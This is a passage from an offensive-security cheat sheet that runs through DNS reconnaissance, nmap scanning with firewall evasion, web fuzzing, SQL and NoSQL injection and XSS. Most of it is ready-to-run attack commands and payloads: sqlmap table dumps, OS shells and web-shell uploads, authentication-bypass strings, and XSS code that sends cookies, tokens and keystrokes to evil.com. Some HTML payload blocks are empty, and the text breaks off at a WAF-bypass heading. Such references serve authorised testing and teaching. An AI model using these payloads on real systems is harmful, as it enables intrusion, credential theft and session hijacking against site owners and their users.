Attempt\n```bash\n# Attempt zone transfer from each name server\nfor ns in $(dig NS target.com +short); do\n    echo \"Attempting zone transfer from $ns\"\n    dig AXFR target.com @$ns\ndone\n\n# Using host command\nhost -l target.com ns1.target.com\n```\n\n#### Reverse DNS Lookup\n```bash\n# Find domains hosted on IP\ndig -x 192.168.1.1 +short\nnslookup 192.168.1.1\n```\n\n### Subdomain Enumeration\n\n#### Passive Techniques (No direct interaction)\n```bash\n# Sublist3r - Multiple sources\nsublist3r -d target.com -o subdomains.txt\nsublist3r -d target.com -b google,yahoo,bing,baidu -t 50\n\n# Amass - Passive mode\namass enum -passive -d target.com -o amass_passive.txt\n\n# TheHarvester - Search engines\ntheHarvester -d target.com -b all -f theharvester.html\n\n# Certificate Transparency (crt.sh)\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq .\n\n# Using SecurityTrails API\ncurl -s \"https://api.securitytrails.com/v1/domain/target.com/subdomains\" \\\n     -H \"APIKEY: YOUR_API_KEY\" | jq -r '.subdomains[]'\n\n# Shodan\nshodan search hostname:target.com\n```\n\n#### Active Techniques\n```bash\n# Amass - Active enumeration\namass enum -active -d target.com -o amass_active.txt\namass enum -active -d target.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\n\n# Gobuster DNS mode\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 50\n\n# ffuf for vhost discovery\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" \\\n     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \\\n     -fc 400,404,403\n\n# DNSRecon\ndnsrecon -d target.com -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt\n\n# DNSEnum\ndnsenum target.com\n```\n\n### Technology Stack Identification\n\n```bash\n# WhatWeb - Comprehensive\nwhatweb target.com\nwhatweb target.com --aggression 3 --log-brief=whatweb.txt\n\n# Wappalyzer (browser extension)\n\n# BuiltWith (online service)\n\n# Wafw00f - WAF detection\nwafw00f target.com\nwafw00f target.com -a  # aggressive\n\n# HTTP headers inspection\ncurl -sI https://target.com\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\\|via\"\n\n# Web server fingerprinting\nhttpx -u target.com -tech-detect -status-code -title -follow-redirects\n\n# CMS detection\n# WordPress\nwpscan --url target.com --api-token YOUR_TOKEN\n\n# Joomla\njoomscan -u target.com\n\n# Drupal\ndroopescan scan drupal -u target.com\n```\n\n### OSINT (Open Source Intelligence)\n\n#### Email Discovery\n```bash\n# theHarvester\ntheHarvester -d target.com -b all -f results.html\ntheHarvester -d target.com -b google,bing,linkedin\n\n# Hunter.io (API required)\ncurl -s \"https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY\" | jq\n\n# EmailHarvester\npython3 EmailHarvester.py -d target.com\n```\n\n#### Social Media\n- LinkedIn: Search for employees, job postings, technologies used\n- Twitter: Company handles, employee mentions\n- GitHub: Search for company repos, code leaks, API keys\n- Glassdoor: Employee reviews, technologies mentioned\n\n#### Code Repositories\n```bash\n# GitHub dorks\nsite:github.com \"target.com\"\nsite:github.com \"target.com\" \"api_key\"\nsite:github.com \"target.com\" \"password\"\n\n# Gitrob (requires GitHub token)\ngitrob -target target.com\n\n# TruffleHog - find secrets\ntrufflehog github --org=target-org\n```\n\n#### Wayback Machine\n```bash\n# View historical versions\nwaybackurls target.com | tee wayback_urls.txt\n\n# Extract endpoints\ngau target.com | tee gau_urls.txt\n```\n\n#### Google Dorking\n```\n# Common dorks\nsite:target.com\nsite:target.com filetype:pdf\nsite:target.com inurl:admin\nsite:target.com intitle:\"index of\"\nsite:target.com ext:php | ext:asp | ext:aspx | ext:jsp\nsite:target.com inurl:wp-content\nsite:target.com \"confidential\" | \"internal use only\"\nsite:target.com intext:\"sql syntax near\" | intext:\"syntax error has occurred\" | intext:\"incorrect syntax near\"\nsite:target.com inurl:php? id=\nsite:target.com \"powered by\" | \"built with\"\n```\n\n### Cloud & Infrastructure Discovery\n\n```bash\n# Find cloud assets\n# AWS\ncurl -s http://target.com.s3.amazonaws.com\ncurl -s http://s3.amazonaws.com/target.com\n\n# Azure\ncurl -s http://target.com.blob.core.windows.net\n\n# Google Cloud\ncurl -s http://storage.googleapis.com/target.com\n\n# Shodan queries\nshodan search \"hostname:target.com\" --fields ip_str,port,org,hostnames\nshodan search \"ssl:target.com\" --fields ip_str,port\nshodan search \"http.title:target\" --fields ip_str,port\n\n# Censys\ncensys search \"target.com\"\n```\n\n---\n\n## Port & Service Scanning\n\n### Nmap Fundamentals\n\n#### Basic Scans\n```bash\n# Quick scan (top 1000 ports)\nnmap -T4 -F target.com\n\n# Version detection\nnmap -sV target.com\n\n# OS detection\nnmap -O target.com\n\n# Default scripts\nnmap -sC target.com\n\n# Combined: version + scripts\nnmap -sV -sC target.com\n\n# Aggressive scan (OS + version + scripts + traceroute)\nnmap -A -T4 target.com\n```\n\n#### Port Selection\n```bash\n# Specific ports\nnmap -p 80,443,8080,8443 target.com\n\n# Port range\nnmap -p 1-1000 target.com\n\n# All ports (65535) - slow\nnmap -p- target.com\n\n# Fast all ports (with rate limiting)\nnmap -p- --min-rate 5000 target.com\n\n# Most common ports\nnmap --top-ports 200 target.com\n```\n\n#### Scan Types\n```bash\n# TCP SYN scan (default, requires root)\nsudo nmap -sS target.com\n\n# TCP Connect scan (no root)\nnmap -sT target.com\n\n# UDP scan\nsudo nmap -sU target.com\nsudo nmap -sU --top-ports 50 target.com\n\n# FIN scan (bypass some firewalls)\nsudo nmap -sF target.com\n\n# NULL scan\nsudo nmap -sN target.com\n\n# Xmas scan\nsudo nmap -sX target.com\n\n# ACK scan (map firewall rules)\nsudo nmap -sA target.com\n\n# Window scan\nsudo nmap -sW target.com\n\n# Maimon scan\nsudo nmap -sM target.com\n```\n\n#### Output Formats\n```bash\n# Normal output\nnmap -oN scan.txt target.com\n\n# XML output (for tools)\nnmap -oX scan.xml target.com\n\n# Grepable output\nnmap -oG scan.gnmap target.com\n\n# All formats\nnmap -oA scan target.com\n```\n\n### Advanced Nmap Techniques\n\n#### Timing and Performance\n```bash\n# Timing templates\n# T0 = Paranoid, T1 = Sneaky, T2 = Polite, T3 = Normal, T4 = Aggressive, T5 = Insane\nnmap -T4 target.com\n\n# Host timeout\nnmap --host-timeout 30m target.com\n\n# Max retries\nnmap --max-retries 3 target.com\n\n# Min/max rate\nnmap --min-rate 100 --max-rate 500 target.com\n\n# Parallelism\nnmap --min-hostgroup 50 --max-hostgroup 100 target.com\n```\n\n#### Firewall/IDS Evasion\n```bash\n# Fragment packets\nsudo nmap -f target.com\n\n# Specify MTU (must be multiple of 8)\nsudo nmap --mtu 16 target.com\n\n# Decoy scans\nsudo nmap -D RND:10 target.com\nsudo nmap -D decoy1,decoy2,ME target.com\n\n# Spoof source port\nsudo nmap --source-port 53 target.com\n\n# Randomize hosts\nsudo nmap --randomize-hosts target.com\n\n# MAC address spoofing\nsudo nmap --spoof-mac Apple target.com\nsudo nmap --spoof-mac 00:11:22:33:44:55 target.com\n\n# Idle scan (zombie)\nsudo nmap -sI zombie_host target.com\n```\n\n#### Script Scanning\n```bash\n# Run all safe scripts\nnmap -sV --script safe target.com\n\n# Run vulnerability scripts\nnmap -sV --script vuln target.com\n\n# Run exploit scripts\nnmap --script exploit target.com\n\n# Run specific category\nnmap --script default,auth,discovery target.com\n\n# Run specific script\nnmap --script http-enum target.com\nnmap --script http-title target.com\nnmap --script dns-brute target.com\n\n# Script with arguments\nnmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt target.com\n\n# HTTP enumeration\nnmap -p 80,443,8080,8443 --script http-enum,http-headers,http-title,http-server-header target.com\n\n# SMB enumeration\nnmap -p 445 --script smb-enum-shares,smb-enum-users,smb-os-discovery target.com\n```\n\n### Nmap Scripting Engine Examples\n\n```bash\n# HTTP vuln scanning\nnmap -p 80,443 --script http-vuln-* target.com\n\n# SQL injection detection\nnmap -p 80 --script http-sql-injection target.com\n\n# XSS detection\nnmap -p 80 --script http-unsafe-output-escaping target.com\n\n# Shellshock detection\nnmap -p 80 --script http-shellshock target.com\n\n# Heartbleed detection\nnmap -p 443 --script ssl-heartbleed target.com\n\n# DNS zone transfer\nnmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=target.com target.com\n\n# SSL/TLS enumeration\nnmap -p 443 --script ssl-enum-ciphers target.com\nnmap -p 443 --script ssl-cert target.com\n\n# FTP enumeration\nnmap -p 21 --script ftp-anon,ftp-brute,ftp-syst target.com\n\n# SSH enumeration\nnmap -p 22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com\n```\n\n### Practical Nmap Workflow\n\n```bash\n#!/bin/bash\n# Complete Nmap scanning workflow\n\nTARGET=\"10.10.10.1\"\nOUTDIR=\"./nmap_scan_$(date +%Y%m%d_%H%M%S)\"\nmkdir -p $OUTDIR\n\necho \"[*] Starting Nmap scan against $TARGET\"\necho \"[*] Output directory: $OUTDIR\"\n\n# Phase 1: Quick port scan\necho \"[*] Phase 1: Quick top-1000 port scan\"\nnmap -T4 --open -oN $OUTDIR/quick.txt $TARGET\n\n# Phase 2: Full port scan (all ports)\necho \"[*] Phase 2: Full port scan (all 65535)\"\nnmap -p- -T4 --min-rate 5000 -oN $OUTDIR/allports.txt $TARGET\n\n# Extract open ports\nPORTS=$(grep ^[0-9] $OUTDIR/allports.txt | cut -d'/' -f1 | tr '\\n' ',' | sed 's/,$//')\necho \"[+] Open ports: $PORTS\"\n\n# Phase 3: Service and version detection\necho \"[*] Phase 3: Service and version detection\"\nnmap -p $PORTS -sV -sC -A -oN $OUTDIR/services.txt -oX $OUTDIR/services.xml $TARGET\n\n# Phase 4: Vulnerability scan\necho \"[*] Phase 4: Vulnerability scan with NSE\"\nnmap -p $PORTS --script vuln -oN $OUTDIR/vuln.txt $TARGET\n\n# Phase 5: Safe script scan\necho \"[*] Phase 5: Safe script scan\"\nnmap -p $PORTS --script safe -oN $OUTDIR/safe_scripts.txt $TARGET\n\n# Phase 6: UDP scan (top 100 ports)\necho \"[*] Phase 6: UDP scan (top 100 ports)\"\nsudo nmap -sU --top-ports 100 -oN $OUTDIR/udp.txt $TARGET\n\necho \"[+] Scan complete! Results in $OUTDIR\"\n```\n\n---\n\n## Web Enumeration\n\n### Directory & File Brute Forcing\n\n#### Gobuster\n```bash\n# Directory enumeration\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50\n\n# With extensions\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,html,txt,bak,zip,sql\n\n# Status codes\ngobuster dir -u https://target.com -w wordlist.txt -s 200,204,301,302,307,403\n\n# Exclude status codes\ngobuster dir -u https://target.com -w wordlist.txt -b 404,403\n\n# Follow redirects\ngobuster dir -u https://target.com -w wordlist.txt -r\n\n# Cookies and headers\ngobuster dir -u https://target.com -w wordlist.txt -c \"session=abc123\"\ngobuster dir -u https://target.com -w wordlist.txt -H \"Authorization: Bearer token\"\n\n# DNS subdomain enumeration\ngobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n\n# VHost enumeration\ngobuster vhost -u https://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n```\n\n#### FFUF (Faster Fuzzer)\n```bash\n# Basic directory fuzzing\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt\n\n# With extensions\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.asp,.aspx,.jsp,.html,.txt\n\n# Filter by status codes\nffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404,403\nffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,204,301,302\n\n# Filter by response size\nffuf -u https://target.com/FUZZ -w wordlist.txt -fs 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fw 0\nffuf -u https://target.com/FUZZ -w wordlist.txt -fl 0\n\n# Recursive scanning\nffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2\n\n# POST request fuzzing\nffuf -u https://target.com/login -X POST -d \"username=FUZZ&password=test\" -H \"Content-Type: application/x-www-form-urlencoded\" -w usernames.txt -fc 401\n\n# Header fuzzing\nffuf -u https://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fc 400,404\n\n# Parameter fuzzing\nffuf -u https://target.com/page?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404\n\n# Cookie fuzzing\nffuf -u https://target.com -b \"session=FUZZ\" -w wordlist.txt -fc 302\n\n# Multiple FUZZ points\nffuf -u https://target.com/FUZZ1?param=FUZZ2 -w FUZZ1:dirs.txt -w FUZZ2:params.txt\n```\n\n#### Dirb\n```bash\n# Basic scan\ndirb https://target.com\n\n# With custom wordlist\ndirb https://target.com /usr/share/wordlists/dirb/big.txt\n\n# With extensions\ndirb https://target.com -X .php,.html,.txt\n\n# Non-recursive\ndirb https://target.com -r\n\n# Use cookies\ndirb https://target.com -c \"session=abc123\"\n\n# Use proxy\ndirb https://target.com -p 127.0.0.1:8080\n```\n\n#### Wfuzz\n```bash\n# Directory scanning\nwfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ\n\n# File extensions\nwfuzz -c -z file,wordlist.txt -z list,php-asp-jsp https://target.com/FUZZ.FUZ2Z\n\n# POST parameter fuzzing\nwfuzz -c -z file,usernames.txt -d \"username=FUZZ&password=test\" https://target.com/login\n\n# Cookie fuzzing\nwfuzz -c -z file,sessions.txt -b \"session=FUZZ\" https://target.com/dashboard\n\n# Header injection\nwfuzz -c -z file,headers.txt -H \"FUZZ: test\" https://target.com\n```\n\n### Web Server Vulnerability Scanning\n\n#### Nikto\n```bash\n# Basic scan\nnikto -h https://target.com\n\n# Specific port\nnikto -h https://target.com -p 8443\n\n# With authentication\nnikto -h https://target.com -id admin:password\n\n# SSL/TLS specific\nnikto -h https://target.com -ssl\n\n# Save output\nnikto -h https://target.com -o nikto_scan.txt\n\n# Tuning (select specific tests)\nnikto -h https://target.com -Tuning 123456\n# 1=File Upload, 2=Misconfig, 3=Info Disclosure, 4=Injection, 5=RFI/LFI, 6=XSS, 7=Command Exec, 8=SQLi, 9=SQL Injection\n\n# Use proxy\nnikto -h https://target.com -useproxy http://127.0.0.1:8080\n\n# Evasion techniques\nnikto -h https://target.com -evasion 123\n# 1=Random URI, 2=Directory prepend, 3=Prepend long random string, 4=Parameter/Value, 5=Tab separation, 6=Change case, 7=Windows paths\n```\n\n#### WhatWeb\n```bash\n# Basic detection\nwhatweb https://target.com\n\n# Aggressive mode\nwhatweb https://target.com -a 3\n\n# Verbose output\nwhatweb https://target.com -v\n\n# Log output\nwhatweb https://target.com --log-brief=whatweb.txt\nwhatweb https://target.com --log-json=whatweb.json\nwhatweb https://target.com --log-sql=whatweb.sql\n\n# Multiple targets\nwhatweb --input-file=targets.txt\n```\n\n#### WPScan (WordPress)\n```bash\n# Basic scan\nwpscan --url https://target.com\n\n# Enumerate plugins\nwpscan --url https://target.com --enumerate p\n\n# Enumerate themes\nwpscan --url https://target.com --enumerate t\n\n# Enumerate users\nwpscan --url https://target.com --enumerate u\n\n# Enumerate vulnerable plugins/themes\nwpscan --url https://target.com --enumerate vp,vt\n\n# API token for vulnerability database\nwpscan --url https://target.com --api-token YOUR_TOKEN\n\n# Password brute force\nwpscan --url https://target.com --passwords rockyou.txt --usernames admin\n\n# WAF detection\nwpscan --url https://target.com --detection-mode aggressive\n\n# Multisite scan\nwpscan --url https://target.com --multisite\n```\n\n### CMS-Specific Enumeration\n\n#### Joomla\n```bash\n# Joomscan\njoomscan -u https://target.com\n\n# Joomla vulnerability scanner\npython3 joomla-brute.py -u https://target.com -w passwords.txt -usr admin\n```\n\n#### Drupal\n```bash\n# Droopescan\ndroopescan scan drupal -u https://target.com\n\n# Drupalgeddon2\npython3 drupalgeddon2.py -u https://target.com\n```\n\n#### Magento\n```bash\n# MageScan\npython2 magento-scan.py -u https://target.com\n```\n\n### Virtual Host Discovery\n\n```bash\n# Using ffuf\nffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fs 1234\n\n# Using gobuster\ngobuster vhost -u http://target.com -w subdomains.txt\n\n# Using wfuzz\nwfuzz -c -z file,subdomains.txt -H \"Host: FUZZ.target.com\" -u http://target.com -hc 400,404\n\n# Manual with curl\nfor sub in $(cat subdomains.txt); do\n    curl -s -H \"Host: $sub.target.com\" http://target.com | grep -q \"Welcome\" && echo \"Found: $sub\"\ndone\n```\n\n### API Endpoint Discovery\n\n```bash\n# Common API paths\nffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt\n\n# API version fuzzing\nffuf -u https://target.com/api/vFUZZ -w \"1-10\" -fc 404\n\n# Swagger/OpenAPI discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"swagger.json\\nswagger.yaml\\nopenapi.json\\napi-docs\")\n\n# GraphQL discovery\nffuf -u https://target.com/FUZZ -w <(echo -e \"graphql\\ngraphiql\\ngraphql/console\\ngraphql/graphiql\")\n```\n\n### Robots.txt and Sitemap Analysis\n\n```bash\n# Check robots.txt\ncurl -s https://target.com/robots.txt\n\n# Check sitemap\ncurl -s https://target.com/sitemap.xml\ncurl -s https://target.com/sitemap_index.xml\n\n# Extract disallowed paths\ncurl -s https://target.com/robots.txt | grep \"Disallow\" | awk '{print $2}'\n\n# Extract sitemap URLs\ncurl -s https://target.com/sitemap.xml | grep -o \"[^<]*\" | sed 's///g'\n```\n\n### JavaScript File Analysis\n\n```bash\n# Download all JS files\nwget -r -l1 -A.js https://target.com\n\n# Extract endpoints from JS\ncat *.js | grep -Eo \"https?://[^/\\\\\\\"']+\" | sort -u\ncat *.js | grep -Eo \"/[a-zA-Z0-9_\\-/]+\\.(php|asp|aspx|jsp)\" | sort -u\n\n# LinkFinder\npython3 LinkFinder.py -i https://target.com -o cli\n\n# JSParser (for async endpoints)\npython2 JSParser.py https://target.com\n\n# SecretFinder\npython3 SecretFinder.py -i https://target.com -o cli\n```\n\n### Wayback Machine URL Extraction\n\n```bash\n# Get all historical URLs\nwaybackurls target.com | tee wayback_urls.txt\n\n# Gau (Get All URLs)\ngau target.com | tee gau_urls.txt\n\n# Filter interesting endpoints\ncat wayback_urls.txt | grep -E \"\\.php|\\?|\\.asp|\\.aspx|\\.jsp|api|admin|login\"\n\n# Check for parameters\ncat wayback_urls.txt | grep \"=\" | sort -u\n```\n\n---\n\n## Vulnerability Assessment\n\n### Automated Scanners\n\n#### Nuclei\n```bash\n# Basic scan\nnuclei -u https://target.com\n\n# With templates\nnuclei -u https://target.com -t cves/\nnuclei -u https://target.com -t exposures/\nnuclei -u https://target.com -t misconfiguration/\n\n# Severity-based\nnuclei -u https://target.com -severity critical,high\n\n# Multiple targets\nnuclei -l targets.txt\n\n# Output formats\nnuclei -u https://target.com -o results.txt -json\n\n# Rate limiting\nnuclei -u https://target.com -rl 150 -bs 25 -c 25\n```\n\n#### Nessus (Commercial)\n```bash\n# CLI usage\nnessuscli scan new --name \"Web Scan\" --targets target.com --policy \"Web App Tests\"\nnessuscli scan launch --scan-id 123\nnessuscli report download --scan-id 123 --format html\n```\n\n#### OpenVAS\n```bash\n# Start services\nsudo gvm-start\n\n# CLI scan creation\ngvm-cli --gmp-username admin --gmp-password pass socket --socketpath /var/run/gvmd.sock --xml \"...\"\n```\n\n### Manual Testing Techniques\n\n#### Security Headers Check\n```bash\n# Check security headers\ncurl -sI https://target.com | grep -iE \"strict-transport-security|content-security-policy|x-frame-options|x-content-type-options|referrer-policy|permissions-policy\"\n\n# Using online tools\n# securityheaders.com\n# observatory.mozilla.org\n```\n\n#### Information Disclosure\n```bash\n# Check for debug pages\ncurl -s https://target.com/phpinfo.php\ncurl -s https://target.com/info\ncurl -s https://target.com/server-status\n\n# Check for version disclosure\ncurl -sI https://target.com | grep -i \"server\\|x-powered-by\"\ncurl -s https://target.com | grep -i \"generator\\|version\"\n\n# Check for error messages\ncurl -s \"https://target.com/page?id='\" | grep -i \"sql\\|error\\|warning\"\n```\n\n#### CORS Misconfiguration\n```bash\n# Test with origin header\ncurl -sI https://target.com -H \"Origin: https://evil.com\" | grep -i \"access-control-allow-origin\"\n\n# Test with null origin\ncurl -sI https://target.com -H \"Origin: null\" | grep -i \"access-control-allow-origin\"\n```\n\n#### HTTP Methods Testing\n```bash\n# Check allowed methods\ncurl -sI https://target.com -X OPTIONS | grep -i \"allow\"\n\n# Test dangerous methods\ncurl -X PUT -d \"test\" https://target.com/test.txt\ncurl -X DELETE https://target.com/test.txt\ncurl -X TRACE https://target.com\n```\n\n---\n\n## SQL Injection (SQLi)\n\n### Detection Techniques\n\n#### Manual Testing\n```bash\n# Basic payloads\n' OR '1'='1\n' OR 1=1--\n\" OR \"1\"=\"1\n1' AND '1'='1\n1' AND '1'='2\n' OR '1'='1' --\n\n# Comments\n'--\n'#\n'/*\n'\n-- \n#\n\n# Union-based detection\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n\n# Boolean-based\n' AND 1=1--\n' AND 1=2--\n\n# Time-based\n' AND SLEEP(5)--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=1 AND SLEEP(5)--\n```\n\n#### Automated Detection with SQLmap\n```bash\n# Basic detection\nsqlmap -u \"https://target.com/page?id=1\"\n\n# POST request\nsqlmap -u \"https://target.com/login\" --data=\"username=admin&password=test\"\n\n# From Burp request file\nsqlmap -r request.txt\n\n# With cookie\nsqlmap -u \"https://target.com/page?id=1\" --cookie=\"session=abc123\"\n\n# Level and risk\nsqlmap -u \"https://target.com/page?id=1\" --level=5 --risk=3\n\n# Random user agent\nsqlmap -u \"https://target.com/page?id=1\" --random-agent\n\n# Batch mode (no prompts)\nsqlmap -u \"https://target.com/page?id=1\" --batch\n\n# Force SSL\nsqlmap -u \"https://target.com/page?id=1\" --force-ssl\n```\n\n### Data Extraction\n\n#### Database Enumeration\n```bash\n# Get databases\nsqlmap -u \"https://target.com/page?id=1\" --dbs\n\n# Get current database\nsqlmap -u \"https://target.com/page?id=1\" --current-db\n\n# Get current user\nsqlmap -u \"https://target.com/page?id=1\" --current-user\n\n# Get database users\nsqlmap -u \"https://target.com/page?id=1\" --users\n\n# Get database privileges\nsqlmap -u \"https://target.com/page?id=1\" --privileges\n```\n\n#### Table Enumeration\n```bash\n# Get tables from database\nsqlmap -u \"https://target.com/page?id=1\" -D database_name --tables\n\n# Get columns from table\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --columns\n\n# Dump table data\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump\n\n# Dump specific columns\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users -C username,password --dump\n\n# Conditional dump\nsqlmap -u \"https://target.com/page?id=1\" -D database_name -T users --dump --where=\"id=1\"\n```\n\n### Advanced SQLmap Techniques\n\n#### Bypass Techniques\n```bash\n# Tamper scripts\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment\nsqlmap -u \"https://target.com/page?id=1\" --tamper=between,randomcase\nsqlmap -u \"https://target.com/page?id=1\" --tamper=apostrophemask,apostrophenullencode\n\n# List all tamper scripts\nsqlmap --list-tampers\n\n# WAF bypass\nsqlmap -u \"https://target.com/page?id=1\" --tamper=space2comment --random-agent --flush-session\n\n# No-cast\nsqlmap -u \"https://target.com/page?id=1\" --no-cast\n\n# Hex conversion\nsqlmap -u \"https://target.com/page?id=1\" --hex\n```\n\n#### File System Access\n```bash\n# Read file\nsqlmap -u \"https://target.com/page?id=1\" --file-read=/etc/passwd\n\n# Write file\nsqlmap -u \"https://target.com/page?id=1\" --file-write=shell.php --file-dest=/var/www/html/shell.php\n\n# Check privileges\nsqlmap -u \"https://target.com/page?id=1\" --is-dba\n```\n\n#### OS Command Execution\n```bash\n# Get OS shell\nsqlmap -u \"https://target.com/page?id=1\" --os-shell\n\n# Execute command\nsqlmap -u \"https://target.com/page?id=1\" --os-cmd=\"id\"\n\n# SQL shell\nsqlmap -u \"https://target.com/page?id=1\" --sql-shell\n```\n\n### Common SQL Injection Payloads\n\n#### Authentication Bypass\n```sql\nadmin' --\nadmin' #\nadmin'/*\n' or 1=1--\n' or 1=1#\n' or 1=1/*\n') or '1'='1--\n') or ('1'='1--\n' UNION SELECT 1, 'admin', 'password'--\n```\n\n#### Union-Based Payloads\n```sql\n' UNION SELECT null, null, null--\n' UNION SELECT 1,2,3--\n' UNION SELECT 1,@@version,3--\n' UNION SELECT 1,table_name,3 FROM information_schema.tables--\n' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--\n```\n\n#### Error-Based Payloads\n```sql\n' AND extractvalue(1, concat(0x7e, database()))--\n' AND updatexml(1, concat(0x7e, database()), 1)--\n' AND (SELECT * FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\n```\n\n#### Boolean-Based Payloads\n```sql\n' AND 1=1--\n' AND 1=2--\n' AND SUBSTRING(database(),1,1)='a'--\n' AND ASCII(SUBSTRING(database(),1,1)) > 100--\n```\n\n#### Time-Based Payloads\n```sql\n' AND SLEEP(5)--\n' AND BENCHMARK(10000000,MD5('a'))--\n' WAITFOR DELAY '00:00:05'--\n' AND 1=(SELECT COUNT(*) FROM sysobjects WHERE xtype='U' AND WAITFOR DELAY '00:00:05')--\n```\n\n### Second-Order SQL Injection\n```bash\n# Register with malicious payload\nsqlmap -u \"https://target.com/register\" --data=\"username=admin'--&password=test\"\n\n# Trigger on another page\nsqlmap -u \"https://target.com/profile\" --cookie=\"session=abc123\" --second-url=\"https://target.com/profile\"\n```\n\n### NoSQL Injection\n```javascript\n// MongoDB\n' || '1'=='1\n' || 1==1//\n' && this.password.match(/.*/)//\n' && this.username.match(/admin/)//\n\n// Authentication bypass\n{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }\n{ \"username\": { \"$regex\": \"admin\" }, \"password\": { \"$regex\": \"^.*\" } }\n\n// Tools\n# NoSQLMap\nnosqlmap.py --target http://target.com --attack\n```\n\n---\n\n## Cross-Site Scripting (XSS)\n\n### XSS Types\n\n#### Reflected XSS\n```html\n\nalert('XSS')\n\n\nhttps://target.com/search?q=alert(1)\n\n\n\n```\n\n#### Stored XSS\n```html\n\nalert(document.cookie)\n\n\n\n\n\n\n```\n\n#### DOM-Based XSS\n```javascript\n// URL fragment\nhttps://target.com/#alert(1)\n\n// document.write\ndocument.write(location.hash.substring(1))\n\n// innerHTML\nelement.innerHTML = location.hash.substring(1)\n\n// eval\neval(location.hash.substring(1))\n```\n\n### XSS Payloads\n\n#### Basic Alert Payloads\n```html\nalert('XSS')\nalert(1)\nalert(document.cookie)\nalert(document.domain)\nalert(document.URL)\n```\n\n#### Event Handler Payloads\n```html\n\n\n\n\nHover me\n\n\n\n```\n\n#### Attribute Breakout\n```html\n\">alert(1)\n'>alert(1)\njavascript:alert(1)\n\">\n' onmouseover=alert(1) '\n```\n\n#### Encoded Payloads\n```html\n%3Cscript%3Ealert(1)%3C/script%3E\n<script>alert(1)</script>\nipt>alert(1)ipt>\nalert(1)\n```\n\n#### Polyglot Payloads\n```html\njavascript:/*-->\n\" onclick=alert(1)//Click\n```\n\n### Advanced XSS Attacks\n\n#### Cookie Stealing\n```html\n\nfetch('https://evil.com/steal?cookie='+document.cookie)\nnew Image().src='https://evil.com/steal?c='+document.cookie\ndocument.location='https://evil.com/steal?c='+document.cookie\n\n\nfetch('https://evil.com/steal', {method:'POST', body:document.cookie, mode:'no-cors'})\n\n\nfetch('https://evil.com/steal?data='+btoa(JSON.stringify(localStorage)))\n```\n\n#### Keylogging\n```javascript\n\ndocument.onkeypress = function(e) {\n    fetch('https://evil.com/keylog?key='+e.key);\n}\n\n```\n\n#### Session Hijacking\n```html\n\nfetch('https://evil.com/steal?token='+localStorage.getItem('token'))\n\n\n\nvar token = localStorage.getItem('token');\ndocument.write('');\n\n```\n\n#### Phishing\n```html\n\n\ndocument.body.innerHTML = '\n\nSession Expired\n';\n\n```\n\n#### Port Scanning\n```javascript\n\nfor (var i=1;i<=1024;i++) {\n    var img = new Image();\n    img.onload = function() { console.log('Port open: ' + i); };\n    img.onerror = function() { console.log('Port closed: ' + i); };\n    img.src = 'http://localhost:' + i;\n}\n\n```\n\n### XSS Testing Tools\n\n#### Dalfox\n```bash\n# Basic scan\ndalfox url https://target.com/page?q=test\n\n# File input\ndalfox file urls.txt\n\n# With cookie\ndalfox url https://target.com/page?q=test --cookie \"session=abc123\"\n\n# Blind XSS\ndalfox url https://target.com/page?q=test --blind \"https://xsshunter.com\"\n\n# Output formats\ndalfox url https://target.com/page?q=test --output results.txt --format json\n\n# Custom payloads\ndalfox url https://target.com/page?q=test --custom-payload-file payloads.txt\n```\n\n#### XSStrike\n```bash\n# Basic scan\npython3 xsstrike.py -u \"https://target.com/page?q=test\"\n\n# POST request\npython3 xsstrike.py -u \"https://target.com/search\" --data \"q=test\"\n\n# Crawl and test\npython3 xsstrike.py -u \"https://target.com\" --crawl\n\n# Skip DOM checking\npython3 xsstrike.py -u \"https://target.com/page?q=test\" --skip-dom\n```\n\n#### XSSer\n```bash\n# Basic scan\nxsser -u \"https://target.com/page?q=test\"\n\n# POST request\nxsser -u \"https://target.com/login\" --post=\"user=test&pass=test\"\n\n# Auto\nxsser --auto \"https://target.com/page?q=test\"\n\n# Crawler\nxsser --crawler \"https://target.com\"\n```\n\n### XSS Prevention Bypass\n\n#### WAF Bypass 